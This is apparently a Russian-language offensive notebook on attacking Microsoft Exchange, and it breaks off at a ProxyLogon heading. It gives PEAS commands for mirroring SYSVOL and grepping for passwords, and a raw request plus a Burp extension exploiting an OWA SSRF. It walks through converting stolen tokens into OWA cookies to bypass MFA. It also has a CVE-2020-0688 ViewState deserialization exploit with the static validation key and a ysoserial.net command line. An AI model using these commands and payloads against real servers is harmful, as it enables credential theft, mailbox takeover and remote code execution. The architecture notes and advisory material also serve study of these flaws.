$ python -m peas -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' mx.megacorp.com --list-unc='\\DC01\SYSVOL\megacorp.com'

$ python -m peas -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' mx.megacorp.com --dl-unc='\\DC01\share\file.txt'

$ python -m peas -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' mx.megacorp.com --dl-unc='\\DC01\share\file.txt' -o file.txt

$ python -m peas -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' mx.megacorp.com --crawl-unc='\\DC01\share\' [--pattern xml,ini] [--download]

$ python -m peas -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' mx.megacorp.com --brute-unc [--prefix srv]
  1. Используем Nmap http-ntlm-info, чтобы получить доменное имя NetBIOS и имя хоста Exchange: найдите префикс шаблона имени хоста, если таковой имеется.
  2. Находим DC (нужно угадать по префиксу шаблона имени хоста) и делаем mirror \\DC01\SYSVOL\megacorp.local\ с помощью функции --crawl-unc.:
$ python -m peas -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' mx.megacorp.com --crawl-unc='\\DC01\SYSVOL\megacorp.com\' --download
  1. Используем Find, xargs и grep для поиска ключевых слов в файлах: password, доменное имя NetBIOS (для дополнительных имен учетных записей), префикс шаблона имени хоста (для дополнительных хостов/общих ресурсов):
$ find . -type f -print0 | xargs -0 grep -v PolicyDefinitions | grep -i -e password -e pass

$ find . -type f -print0 | xargs -0 grep -v PolicyDefinitions | grep -i <DOMAIN_NETBIOS_NAME>

$ find . -type f -print0 | xargs -0 grep -v PolicyDefinitions | grep -i <PREFIX>
  1. (необязательно) Брутим другие имена общих ресурсов:
$ python -m peas --brute-unc -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' mx.megacorp.com [--prefix srv]

ZDI-CAN-22101
#

Подделка запроса на стороне сервера CreateAttachmentFromURI

Если пользователь хочет прикрепить файл к сообщению через Exchange OWA, он может воспользоваться кнопкой «Вставить». Она позволяет выбрать любой файл из локальной файловой системы.

Pasted image 20251003201647.png

Довольно очевидная вещь, не так ли? Когда автор эксплоита просматривал методы, определённые в Exchange OWAService, он нашёл один интересный под названием CreateAttachmentFromUri.

public string CreateAttachmentFromUri(Microsoft.Exchange.Services.Core.Types.ItemId itemId, string uri, string name, string subscriptionId, bool isInline = false, string contentId = null)
{
    return new CreateAttachmentFromUri(CallContext.Current, itemId, uri, name, subscriptionId, isInline, contentId).Execute(); // [1]
}

В [1] объект CreateAttachmentFromUri инициализируется, а затем вызывается его метод Execute.

public CreateAttachmentFromUri(ICallContext callContext, ItemId itemId, string uri, string name, string subscriptionId, bool isInline = false, string contentId = null) : base(callContext)
{
    if (itemId == null)
    {
        throw new ArgumentNullException("itemId");
    }
    if (string.IsNullOrWhiteSpace(uri))
    {
        throw new ArgumentNullException("uri");
    }
    this.itemId = itemId;
    this.uri = new Uri(uri); // [1]
    this.name = name;
    this.subscriptionId = subscriptionId;
    this.isInline = isInline;
    this.contentId = contentId;
}

В [1] объект Uri создаётся на основе строки, контролируемой злоумышленником.

Метод Execute в конечном счёте приведёт нас к CreateAttachmentFromUri.InternalExecute:

protected override string InternalExecute()
{
    UserContext userContext = UserContextManager.GetUserContext(base.CallContext.HttpContext, base.CallContext.EffectiveCaller, true);
    Guid operationId = Guid.NewGuid();
    CreateAttachmentFromUri.DownloadAndAttachFileFromUri(this.uri, this.name, this.subscriptionId, operationId, this.itemId, userContext, base.IdConverter, this.isInline, this.contentId); // [1]
    return operationId.ToString();
}

В [1] вызывается CreateAttachmentFromUri.DownloadAndAttachFileFromUri . Название метода говорит само за себя.

Это приводит к асинхронному выполнению задачи. Я привожу фрагмент этой задачи:

internal async Task <DownloadAndAttachFileFromUri>b__0(RequestDetailsLogger logger)
{
    OwsLogRegistry.Register("CreateAttachmentFromUri.DownloadAndAttachFileFromUri", typeof(CreateAttachmentFromUriMetadata), Array.Empty<Type>());
    try
    {
        OwaDiagnostics.TemporaryLog<Uri>(logger, CreateAttachmentFromUriMetadata.Uri, this.uri);
        OwaDiagnostics.TemporaryLog<Guid>(logger, CreateAttachmentFromUriMetadata.OperationId, this.operationId);
        OwaDiagnostics.TemporaryLog<string>(logger, CreateAttachmentFromUriMetadata.SubscriptionId, this.subscriptionId);
        using (HttpClient client = new HttpClient()) // [1]
        {
            HttpResponseMessage httpResponseMessage = await client.GetAsync(this.uri); // [2]
            using (HttpResponseMessage response = httpResponseMessage)
            {
                OwaDiagnostics.TemporaryLog<HttpStatusCode>(logger, CreateAttachmentFromUriMetadata.RemoteHttpStatus, response.StatusCode);
                HttpStatusCode statusCode = response.StatusCode;
                AttachmentResultCode resultCode;
                ...
                ...
                if (resultCode != AttachmentResultCode.Success)
                {
                    AttachmentsNotificationsHandler.SendCreateAttachmentFailureNotification(this.userContext, this.subscriptionId, this.operationId.ToString(), resultCode, null, null);
                }
                using (Stream stream = await response.Content.ReadAsStreamAsync())
                {
                    CreateAttachmentNotificationPayload createAttachmentNotificationPayload = new CreateAttachmentNotificationPayload();
                    createAttachmentNotificationPayload.SubscriptionId = this.subscriptionId;
                    createAttachmentNotificationPayload.Id = this.operationId.ToString();
                    createAttachmentNotificationPayload.Stream = stream;
                    createAttachmentNotificationPayload.Item = null;
                    createAttachmentNotificationPayload.ResultCode = resultCode;
                    CreateAttachmentHelper.CreateAttachmentAndSendPendingGetNotification(this.userContext, null, this.itemId.Id, stream, this.name, createAttachmentNotificationPayload, this.idConverter, CancellationToken.None, this.isInline, this.contentId); // [3]
                }
                ...

В [1], an HttpClient В [2] отправляется запрос. В [3] на основе полученного ответа создается вложение.

Согласно этому методу, можно выполнить HTTP GET SSRF. Злоумышленник может выбрать любую конечную точку и указать любые параметры строки запроса.

Можно заметить, что у этого SSRF-фреймворка есть дополнительная функция, которая делает его ещё более опасным. Он создаёт вложение на основе ответа. Кроме того, этот SSRF-приёмник обрабатывает перенаправления — они по умолчанию поддерживаются HttpClient, а свойство AllowAutoRedirect не изменяется кодом.

На следующем скрине показан пример эксплойта, нацеленного на URL-адрес http://internaltomcat.zdi.local:8080 .

Pasted image 20251003202025.png

Содержимое ответа также можно легко получить через графический интерфейс. Вам нужно зайти в свой аккаунт и открыть вложение.

Pasted image 20251003202047.png

В целом эту уязвимость можно использовать с помощью одного HTTP-запроса к службе OWA:

POST /owa/service.svc?action=CreateAttachmentFromUri HTTP/1.1
Host: exchange
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Cookies: removed-for-readability
Connection: keep-alive
X-Owa-Canary: removed-for-readability
Content-Type: application/json; charset=UTF-8
X-Requested-With: XMLHttpRequest
Action: CreateAttachmentFromUri
Content-Length: 257
{"__type": "CreateAttachmentFromUriRequestWrapper:#Exchange", "isInline": "false", "itemId": {"__type": "ItemId:#Exchange", "ChangeKey": "poc", "Id": "poc"}, "name": "pocname.txt", "subscriptionId": "1", "uri": "http://internalsite.zdi.local/internal.html"}

Python PoC:

# -*- coding: utf-8 -*-

from burp import IBurpExtender
from burp import IHttpListener
import json


# ZDI-CAN-22101 / ZDI-23-1581 - Exchange SSRF PoC exploit with response retrieval for Burp Suite
# by buherator, original research by Piotr Bazydło (@chudypb)
#
# Based on:
# https://www.zerodayinitiative.com/blog/2023/11/1/unpatched-powerful-ssrf-in-exchange-owa-getting-response-through-attachments
#
# 1) Create a new draft and attach a local _binary_ file to it while the extension is loaded (if you attach txt, the payload will be sent in header instead of the POST body)
# 2) The attachment component on the UI will spin forever
# 3) Reload your draft
# 4) Open the pocname.txt attachment


class BurpExtender(IBurpExtender, IHttpListener):
    def registerExtenderCallbacks(self, callbacks):
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()
        callbacks.setExtensionName("ZDI-CAN-22101/ZDI-23-1581")
        callbacks.registerHttpListener(self)

    def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
        if not messageIsRequest:
            return

        # Basec request parsing
        request = messageInfo.getRequest()
        requestStr = self._helpers.bytesToString(request)
        requestInfo = self._helpers.analyzeRequest(request)
        if not "action=CreateAttachmentFromLocalFile" in requestStr:
            return

        # Data extraction
        headers = requestInfo.getHeaders()
        print(repr(headers))
        bodyBytes = request[requestInfo.getBodyOffset() :]
        bodyStr = self._helpers.bytesToString(bodyBytes)
        bodyObj = json.loads(bodyStr)
        msgId = bodyObj["Body"]["ParentItemId"]["Id"]
        changeKey = bodyObj["Body"]["ParentItemId"]["ChangeKey"]
        print(msgId, changeKey)
        
        uri = "http://127.0.0.1/"
        with open("/tmp/uri.txt", "r") as urifile:  # Ain't nobody got time for GUIs
            uri = urifile.read().strip()
        print(uri)
        
        # Generate new request
        newBodyObj = {
            "__type": "CreateAttachmentFromUriRequestWrapper:#Exchange",
            "isInline": "false",
            "itemId": {
                "__type": "ItemId:#Exchange",
                "ChangeKey": changeKey,
                "Id": msgId,
            },
            "name": "pocname.txt",
            "subscriptionId": "1",
            "uri": uri,
        }
        newBody = json.dumps(newBodyObj)
        print(newBody)
        newHeaders = []
        for h in headers:
            newHeaders.append(
                h.replace(
                    "CreateAttachmentFromLocalFile", "CreateAttachmentFromUri"
                )
            )
        newReq = self._helpers.buildHttpMessage(newHeaders, newBody)
        messageInfo.setRequest(newReq)

OWA CAP Bypass
#

Преобразование токенов в файлы cookie сеанса для веб-приложения Outlook

Первое, что нужно сделать, — это понять, как происходит аутентификация пользователя. Для этого мы рассмотрим веб-запросы в Burp Suite для «законной» аутентификации в тестовом клиенте, где многофакторная аутентификация не используется.

Если ввести действительное имя пользователя и пароль и просмотреть веб-запросы, то можно увидеть множество запросов с большим количеством файлов cookie и заголовков. Методом проб и ошибок мы определили, что файл cookie, который в конечном счёте отвечает за предоставление доступа к почтовому ящику в OWA, называется OpenIdConnect.token.v1. Этот файл cookie теперь является нашей конечной точкой, и нам нужно двигаться в обратном направлении, чтобы понять, как получить значение этого файла cookie.

Методом проб и ошибок (и не раз) мы выяснили, что когда пользователь вводит действительные учётные данные в OWA в его простейшей форме, происходит три важных веб-запроса для получения нашего OpenIdConnect.token.v1 cookie.

  1. POST-запрос к https://login.microsoftonline.com/kmsi с нашими учётными данными в открытом виде в качестве параметров.
  2. POST-запрос к https://outlook.office365.com/owa с двумя параметрами — code и id_token
  3. Запрос GET к https://outlook.office365.com/owa с двумя ключевыми файлами cookie. Если запрос будет успешным, мы получим файл cookie OpenIdConnect.token.v1 .

Давайте рассмотрим каждый этап более подробно.

Шаг 1

При успешном выполнении POST-запроса к https://login.microsoftonline.com/kmsi возвращаются два скрытых поля формы с именами code и id_token. На первый взгляд может показаться, что они очень похожи на токены Bearer и Refresh.

Pasted image 20251003204620.png

В приведённом выше примере кажется, что значение, связанное с code в скрытом поле, является токеном обновления, а значение id_token — токеном-носителем.

Шаг 2

В нашем POST-запросе к https://outlook.office365.com/owa мы видим два передаваемых параметра — code и id_token. Значения каждого из них соответствуют значениям скрытых полей на первом этапе. При успешном выполнении запроса будет возвращён код ответа 302 и созданы два новых файла cookie с заданными значениями — OpenIdConnect.id_token.v1 и OpenIdConnect.code.v1.

Pasted image 20251003204632.png

Шаг 3

На последнем этапе отправляется GET-запрос с двумя файлами cookie OpenIdConnect.id_token.v1 и OpenIdConnect.code.v1 на адрес https://outlook.office365.com. В случае успешного запроса будет возвращён код ответа 302 и искомый файл cookie OpenIdConnect.token.v1 .

После установки файла cookie OpenIdConnect.token.v1 мы можем свободно просматривать https://outlook.office365.com.

Pasted image 20251003204643.png

Теперь, когда процесс аутентификации понятен, мы можем создать веб-запросы для нашей атаки. Мы воссоздадим процесс аутентификации, но вместо того, чтобы получать скрытые параметры id_token и code из POST-запроса к login.microsoftonline.com/kmsi, мы будем использовать токены, полученные альтернативным способом.

В нашем тестовом клиенте была отключена многофакторная аутентификация, чтобы было проще разобраться в процессе аутентификации. Мы создадим политику условного доступа для клиента и применим ее ко всем клиентским приложениям, кроме «мобильных приложений и настольных клиентов». Эта политика будет требовать многофакторной аутентификации для доступа через браузер, но позволит нам получать токены с помощью такого инструмента, как TokenTactics.

Помните, что наша переменная code будет содержать значение нашего токена Refresh, а id_token — значение нашего токена Bearer. Далее атака будет состоять из четырёх простых шагов.

Pasted image 20251003204658.png

Шаг 1.

Начнём с того, что при попытке аутентификации в Outlook вам будут предложены действительные учётные данные и код многофакторной аутентификации.

Pasted image 20251003204707.png

Первый шаг — получение необходимых токенов для вашего пользователя. Обычно мы используем внутренние инструменты для привлечения клиентов, но для этой демонстрации мы воспользуемся TokenTactics и получим токены для Outlook клиента.

Get-AzureToken -Client Outlook

Мы следуем инструкциям TokenTactics и видим, что для ресурса https://outlook.office365.com возвращены токены. Всего возвращено три токена, два из которых начинаются со стандартного JTW eyJ. Для наших целей нас интересуют access_token для токена Bearer и refresh_token.

Pasted image 20251003204722.png
Вы можете быстро получить значения без переносов строк из текущего окна PowerShell, введя $response.access_token и $response.id_token

Шаг 2.

Отправьте POST-запрос на https://outlook.office365.com/owa и укажите свой токен обновления в параметре code, а токен Bearer — в параметре id_token. Вы должны получить ответ 302 с несколькими файлами cookie. Нас интересуют только OpenIdConnect.Id_token.v1 и OpenIdConnect.code.v1.

POST /owa/ HTTP/1.1
Host: outlook.office365.com
Origin: https://login.microsoftonline.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: https://login.microsoftonline.com/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Length: 2888

code=[REFRESH_TOKEN_VALUE]&id_token=[BEARER_TOKEN_VALUE]

Шаг 3.

Отправьте GET-запрос на https://outlook.office365.com/owa с двумя новыми файлами cookie. Должен быть отправлен ответ 302, и должен быть возвращён ваш файл cookie OpenIdConnect.token.v1.

GET /owa/ HTTP/1.1
Host: outlook.office365.com
Cookie: OpenIdConnect.id_token.v1=[VALUE_FROM_COOKIE_RETURNED_IN_STEP_2]; OpenIdConnect.code.v1=[VALUE_FROM_COOKIE_RETURNED_IN_STEP_2]; 
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Sec-Ch-Ua: 
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: ""
Referer: https://login.microsoftonline.com/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

Шаг 4.

Откройте веб-браузер с редактором файлов cookie и создайте файл cookie со следующими значениями.

**Домен** : outlook.office365.com  
**Имя**: OpenIdConnect.token.v1  
**Значение** : _[Значение вашего файла cookie]_  
**Путь** : /  
**SameSite** : None  
Убедитесь, что выбраны параметры Secure, HttpOnly и Session

Pasted image 20251003204847.png

Шаг 5.

Откройте веб-браузер, перейдите по ссылке https://outlook.office365.com/mail и наслаждайтесь доступом к OWA. Если всё прошло по плану, вы успешно обошли многофакторную аутентификацию и получили доступ к почтовому ящику пользователя с помощью однофакторной аутентификации.

Pasted image 20251003204859.png

Вы могли заметить, что после преобразования токенов в файлы cookie при попытке перейти к дополнительным приложениям, таким как SharePoint, OneDrive или Teams, открывается страница аутентификации Microsoft. Это связано с тем, что аутентификация привязана к домену outlook.office365.com (или outlook.office.com), а такие ресурсы, как Teams, SharePoint и OneDrive, находятся за пределами этого домена.

Также уточню, что  эта атака возможна только в том случае, если мы можем получить токены в момент ожидания запроса на многофакторную аутентификацию. Этот метод не использует уязвимости в системе безопасности, а применяет валидные материалы для аутентификации для создания таких же валидных материалов для аутентификации в другом форм-факторе.

CVE-2020-0688
#

Изначально Microsoft заявила, что эта уязвимость связана с повреждением памяти, и может быть использована с помощью специально составленного электронного письма, отправленного на уязвимый сервер Exchange. Но они пересмотрели своё решение и (правильно) указали, что уязвимость возникает из-за того, что Exchange Server не может должным образом создавать уникальные криптографические ключи во время установки.

В частности, уязвимость обнаружена в компоненте панели управления Exchange (ECP). Природа уязвимости довольно проста. Вместо того чтобы генерировать случайные ключи для каждой установки, все установки Microsoft Exchange Server используют одни и те же значения validationKey и decryptionKey в web.config. Эти ключи используются для обеспечения безопасности ViewState. ViewState — это данные на стороне сервера, которые веб-приложения ASP.NET хранят в сериализованном формате на клиенте. Клиент отправляет эти данные обратно на сервер через параметр запроса __VIEWSTATE.

Pasted image 20250909152639.png

Из-за использования статических ключей злоумышленник, прошедший аутентификацию, может обманом заставить сервер десериализовать вредоносные данные ViewState. С помощью YSoSerial.net злоумышленник может выполнить произвольный код .NET на сервере в контексте веб-приложения Exchange Control Panel, которое работает как SYSTEM.

Чтобы воспользоваться этой уязвимостью, нам нужно получить значения ViewStateUserKey и __VIEWSTATEGENERATOR из аутентифицированного сеанса. Значение ViewStateUserKey можно получить из файла cookie _SessionID ASP.NET, а значение ViewStateUserKey — из скрытого поля. Всё это можно легко получить с помощью стандартных инструментов разработчика в браузере.

Для начала перейдите на страницу /ecp/default.aspx и войдите в систему. Для использования учетной записи не требуется никаких специальных прав.

Чтобы продолжить, нам нужно собрать некоторую информацию. Самое важное уже известно:

  `validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF`  
       `validationalg = SHA1`

Чтобы получить ViewStateUserKey и __VIEWSTATEGENERATOR, откройте вкладку «Сеть» в инструментах разработчика (F12) и отправьте запрос повторно, нажав F5. Нам нужен необработанный ответ на запрос /ecp/default.aspx при входе в систему:

Pasted image 20250909152726.png

Как видите, значение __VIEWSTATEGENERATOR отображается в исходном коде страницы. В этом примере его значение — B97B4E27. Скорее всего, у вас будет такое же значение. Затем откройте вкладку Headers и найдите файл cookie ASP.NET_SessionId в Request headers:

Pasted image 20250909152738.png

Теперь у нас есть вся необходимая информация для проведения атаки:

--validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF 
--validationalg = SHA1
--generator = B97B4E27 
--viewstateuserkey = 05ae4b41-51e1-4c3a-9241-6b87b169d663

Следующий шаг — создание полезной нагрузки ViewState с помощью ysoserial.net. Мы создадим полезную нагрузку, демонстрирующую выполнение кода, с помощью файла C:\Vuln_Server.txt:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo OOOPS!!! > c:/Vuln_Server.txt" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663" --isdebug --islegacy

https://github.com/pwntester/ysoserial.net

Pasted image 20250909152833.png

Наконец, нам нужно закодировать ViewState в URL и создать URL-адрес следующим образом:

/ecp/default.aspx?__VIEWSTATEGENERATOR=<generator>&__VIEWSTATE=<ViewState>

Подставляем полученный выше генератор и ViewState в кодировке URL.

Затем мы отправляем полученный URL-адрес на сервер Exchange, просто вставляя его в адресную строку браузера:

Pasted image 20250909152852.png

Сервер сообщает о 500 Unexpected Error, значит атака успешна.

PoC:

https://github.com/tvdat20004/CVE-2020-0688 https://github.com/W01fh4cker/CVE-2020-0688-GUI

Pasted image 20250909152352.png

Уязвимости и атаки MS Exchange
#

Exchange — очень сложное приложение. С 2000 года Exchange выпускает новую версию каждые 3 года. Каждый раз, когда Exchange выпускает новую версию, архитектура сильно меняется и становится другой. Изменения в архитектуре и итерации затрудняют обновление Exchange Server. Чтобы обеспечить совместимость новой архитектуры со старой, в Exchange Server были внесены некоторые конструктивные изменения, которые привели к появлению новых уязвимостей.

Pasted image 20251004132925.png

Мы сосредоточились на службе клиентского доступа CAS.

CAS является фундаментальным компонентом Exchange. До версии 2000/2003 CAS был независимым сервером внешнего интерфейса, отвечающим за всю логику веб-рендеринга внешнего интерфейса. После нескольких переименований, интеграции и различий в версиях CAS был понижен до службы с ролью почтового ящика. В официальной документации Microsoft указано, что:

==Серверы почтовых ящиков содержат службы клиентского доступа, которые принимают клиентские подключения по всем протоколам. Эти интерфейсные службы отвечают за маршрутизацию или проксирование подключений к соответствующим внутренним службам на сервере почтовых ящиков==

Архитектура CAS
#

CAS — это основной компонент, отвечающий за приём всех соединений со стороны клиента, будь то HTTP, POP3, IMAP или SMTP, и перенаправляющий соединения на соответствующую серверную службу.

Pasted image 20251004133224.png

Веб-сайт CAS создан на базе Microsoft IIS. Как видите, внутри IIS есть два веб-сайта. «Веб-сайт по умолчанию» — это упомянутый ранее интерфейс, а «бэкенд Exchange» — это место, где находится бизнес-логика. Внимательно изучив конфигурацию, мы заметили, что интерфейс привязан к портам 80 и 443, а бэкенд прослушивает порты 81 и 444. Все порты привязаны к 0.0.0.0, то есть любой пользователь может напрямую получить доступ к интерфейсу и бэкенду Exchange.

Pasted image 20251004133251.png

Exchange реализует логику Frontend и Backend с помощью модуля IIS. В Frontend и Backend есть несколько модулей для выполнения различных задач, таких как фильтрация, проверка и ведение журнала. В Frontend должен быть модуль прокси. Модуль прокси получает HTTP-запрос от клиента, добавляет некоторые внутренние настройки и перенаправляет запрос в Backend. Что касается Backend, то во всех приложениях есть модуль регидратации, который отвечает за анализ запросов Frontend, возврат информации о клиенте и дальнейшую обработку бизнес-логики.

Pasted image 20251004133316.png

Frontend Request Section
#

Прокси-модуль выбирает обработчик на основе текущего ApplicationPath для обработки HTTP-запроса со стороны клиента. Например, при посещении /EWS будет использоваться EwsProxyRequestHandler, а при посещении /OWA будет запущен OwaProxyRequestHandler. Все обработчики в Exchange наследуют класс от ProxyRequestHandler и реализуют его основную логику, например, как обрабатывать HTTP-запрос от пользователя, какой URL из бэкенда проксировать и как синхронизировать информацию с бэкендом. Этот класс также является наиболее важной частью всего прокси-модуля. Мы разделим ProxyRequestHandler на 3 раздела:

Pasted image 20251004133400.png

Раздел «Request» анализирует HTTP-запрос от клиента и определяет, какие файлы cookie и заголовки могут быть перенаправлены на серверную часть. Фронтенд и серверная часть используют HTTP-заголовки для синхронизации информации и внутреннего статуса прокси. Поэтому Exchange создал чёрный список, чтобы избежать неправильного использования некоторых внутренних заголовков.

HttpProxy\ProxyRequestHandler.cs

protected virtual bool ShouldCopyHeaderToServerRequest(string headerName) {
  return !string.Equals(headerName, "X-CommonAccessToken", OrdinalIgnoreCase) 
      && !string.Equals(headerName, "X-IsFromCafe", OrdinalIgnoreCase) 
      && !string.Equals(headerName, "X-SourceCafeServer", OrdinalIgnoreCase) 
      && !string.Equals(headerName, "msExchProxyUri", OrdinalIgnoreCase) 
      && !string.Equals(headerName, "X-MSExchangeActivityCtx", OrdinalIgnoreCase) 
      && !string.Equals(headerName, "return-client-request-id", OrdinalIgnoreCase) 
      && !string.Equals(headerName, "X-Forwarded-For", OrdinalIgnoreCase) 
      && (!headerName.StartsWith("X-Backend-Diag-", OrdinalIgnoreCase) 
      || this.ClientRequest.GetHttpRequestBase().IsProbeRequest());
}

На последнем этапе запроса прокси-модуль вызывает метод AddProtocolSpecificHeadersToServerRequest, реализованный обработчиком, чтобы добавить информацию, которая будет передана серверной части, в HTTP-заголовок. В этом разделе также выполняется сериализация информации о текущем пользователе, вошедшем в систему, и она помещается в новый HTTP-заголовок X-CommonAccessToken, который позже будет передан серверной части.

Например, если я войду в Outlook Web Access (OWA) под именем Orange, то X-CommonAccessToken в прокси-сервере Frontend для Backend будет выглядеть так:

Pasted image 20251004133509.png

Frontend Proxy Section
#

Раздел Proxy сначала использует метод GetTargetBackendServerURL для определения того, на какой внутренний URL следует перенаправить HTTP-запрос. Затем инициализируется новый HTTP-запрос с помощью метода CreateServerRequest.

HttpProxy\ProxyRequestHandler.cs

protected HttpWebRequest CreateServerRequest(Uri targetUrl) {
    HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(targetUrl);
    if (!HttpProxySettings.UseDefaultWebProxy.Value) {
        httpWebRequest.Proxy = NullWebProxy.Instance;
    }
    httpWebRequest.ServicePoint.ConnectionLimit = HttpProxySettings.ServicePointConnectionLimit.Value;
    httpWebRequest.Method = this.ClientRequest.HttpMethod;
    httpWebRequest.Headers["X-FE-ClientIP"] = ClientEndpointResolver.GetClientIP(SharedHttpContextWrapper.GetWrapper(this.HttpContext));
    httpWebRequest.Headers["X-Forwarded-For"] = ClientEndpointResolver.GetClientProxyChainIPs(SharedHttpContextWrapper.GetWrapper(this.HttpContext));
    httpWebRequest.Headers["X-Forwarded-Port"] = ClientEndpointResolver.GetClientPort(SharedHttpContextWrapper.GetWrapper(this.HttpContext));
    httpWebRequest.Headers["X-MS-EdgeIP"] = Utilities.GetEdgeServerIpAsProxyHeader(SharedHttpContextWrapper.GetWrapper(this.HttpContext).Request);
    
    // ...
    
    return httpWebRequest;
}

Exchange также сгенерирует билет Kerberos с помощью HTTP-сервиса бэкенда и поместит его в заголовок Authorization . Этот заголовок предназначен для предотвращения прямого доступа анонимных пользователей к бэкенду. С помощью билета Kerberos бэкенд может подтвердить доступ из фронтенда.

HttpProxy\ProxyRequestHandler.cs

if (this.ProxyKerberosAuthentication) {
    serverRequest.ConnectionGroupName = this.ClientRequest.UserHostAddress + ":" + GccUtils.GetClientPort(SharedHttpContextWrapper.GetWrapper(this.HttpContext));
} else if (this.AuthBehavior.AuthState == AuthState.BackEndFullAuth || this.
    ShouldBackendRequestBeAnonymous() || (HttpProxySettings.TestBackEndSupportEnabled.Value  
    && !string.IsNullOrEmpty(this.ClientRequest.Headers["TestBackEndUrl"]))) {
    serverRequest.ConnectionGroupName = "Unauthenticated";
} else {
    serverRequest.Headers["Authorization"] = KerberosUtilities.GenerateKerberosAuthHeader(
        serverRequest.Address.Host, this.TraceContext, 
        ref this.authenticationContext, ref this.kerberosChallenge);
}

HttpProxy\KerberosUtilities.cs

internal static string GenerateKerberosAuthHeader(string host, int traceContext, ref AuthenticationContext authenticationContext, ref string kerberosChallenge) {
    byte[] array = null;
    byte[] bytes = null;
    // ...
    authenticationContext = new AuthenticationContext();
    string text = "HTTP/" + host;
    authenticationContext.InitializeForOutboundNegotiate(AuthenticationMechanism.Kerberos, text, null, null);
    SecurityStatus securityStatus = authenticationContext.NegotiateSecurityContext(inputBuffer, out bytes);
    // ...
    string @string = Encoding.ASCII.GetString(bytes);
    return "Negotiate " + @string;
}

Таким образом, к клиентскому запросу, направленному на серверную часть, будет добавлено несколько HTTP-заголовков для внутреннего использования. Два наиболее важных заголовка — это X-CommonAccessToken, который указывает на личность пользователя, вошедшего в систему, и билет Kerberos, который обеспечивает законный доступ из клиентской части.

Pasted image 20251004133847.png

Frontend Response Section
#

Последний раздел — Response. Он получает ответ от бэкенда и определяет, какие заголовки или файлы cookie можно отправить обратно во фронтенд.

Backend Rehydration Module
#

Теперь давайте посмотрим, как бэкенд обрабатывает запрос от фронтенда. Сначала бэкенд использует метод IsAuthenticated для проверки подлинности входящего запроса. Затем бэкенд проверяет, есть ли у запроса расширенное право под названием ms-Exch-EPI-Token-Serialization . По умолчанию такая авторизация есть только у учетной записи Exchange Machine. Именно поэтому билет Kerberos, сгенерированный фронтендом, может пройти проверку, но вы не сможете получить прямой доступ к бэкенду с учетной записью с низким уровнем авторизации.

После прохождения проверки Exchange восстановит идентификатор входа, используемый во внешнем интерфейсе, путем десериализации заголовка X-CommonAccessToken в исходный токен доступа, а затем поместит его в объект httpContext для перехода к бизнес-логике во внутреннем интерфейсе.

Authentication\BackendRehydrationModule.cs

private void OnAuthenticateRequest(object source, EventArgs args) {
    if (httpContext.Request.IsAuthenticated) {
        this.ProcessRequest(httpContext);
    }
}

private void ProcessRequest(HttpContext httpContext) {
    CommonAccessToken token;
    if (this.TryGetCommonAccessToken(httpContext, out token)) {
        // ...
    }
}

private bool TryGetCommonAccessToken(HttpContext httpContext, out CommonAccessToken token) {
    string text = httpContext.Request.Headers["X-CommonAccessToken"];
    if (string.IsNullOrEmpty(text)) {
        return false;
    }
        
    bool flag;
    try {
        flag = this.IsTokenSerializationAllowed(httpContext.User.Identity as WindowsIdentity);
    } finally {
        httpContext.Items["BEValidateCATRightsLatency"] = stopwatch.ElapsedMilliseconds - elapsedMilliseconds;
    }

    token = CommonAccessToken.Deserialize(text);
    httpContext.Items["Item-CommonAccessToken"] = token;
    
    //...
}

private bool IsTokenSerializationAllowed(WindowsIdentity windowsIdentity) {
   flag2 = LocalServer.AllowsTokenSerializationBy(clientSecurityContext);
   return flag2;
}

private static bool AllowsTokenSerializationBy(ClientSecurityContext clientContext) {
    return LocalServer.HasExtendedRightOnServer(clientContext, 
        WellKnownGuid.TokenSerializationRightGuid);  // ms-Exch-EPI-Token-Serialization

}

После краткого знакомства с архитектурой CAS мы понимаем, что CAS — это просто хорошо написанный HTTP-прокси (или клиент), а мы знаем, что реализовать прокси непросто. Интересно, можно ли использовать один HTTP-запрос для доступа к разным контекстам во внешнем и внутреннем интерфейсах, чтобы запутать систему?

ProxyLogon
#

Pasted image 20251004140024.png

Первый эксплойт — ProxyLogon. Это, возможно, самая серьёзная уязвимость в истории Exchange. ProxyLogon связан с двумя уязвимостями:

  • CVE-2021-26855 — SSRF с предварительной аутентификацией приводит к обходу аутентификации
  • CVE-2021-27065 — произвольная запись в файл после аутентификации приводит к RCE

CVE-2021-26855 - Pre-auth SSRF
#

